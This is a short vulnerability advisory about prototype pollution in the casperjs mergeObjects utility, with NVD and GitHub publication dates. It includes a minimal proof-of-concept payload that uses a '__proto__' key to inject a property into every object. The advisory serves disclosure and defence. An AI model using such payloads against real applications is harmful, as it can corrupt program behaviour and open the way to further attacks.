Improperly Controlled Modification of Dynamically-Determined Object Attributes in casperjs

casperjs is a navigation scripting & testing utility for PhantomJS and SlimerJS.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeObjects utility function.

var payload = JSON.parse('{"__proto__": {"a": "pwned"}}');
mergeObjects({}, payload);
console.log({}.a); // prints "pwned"

Published by the National Vulnerability Database Jun 19, 2020

Reviewed May 11, 2021

Published to the GitHub Advisory Database May 17, 2021

Last updated Sep 13, 2023

Provide feedback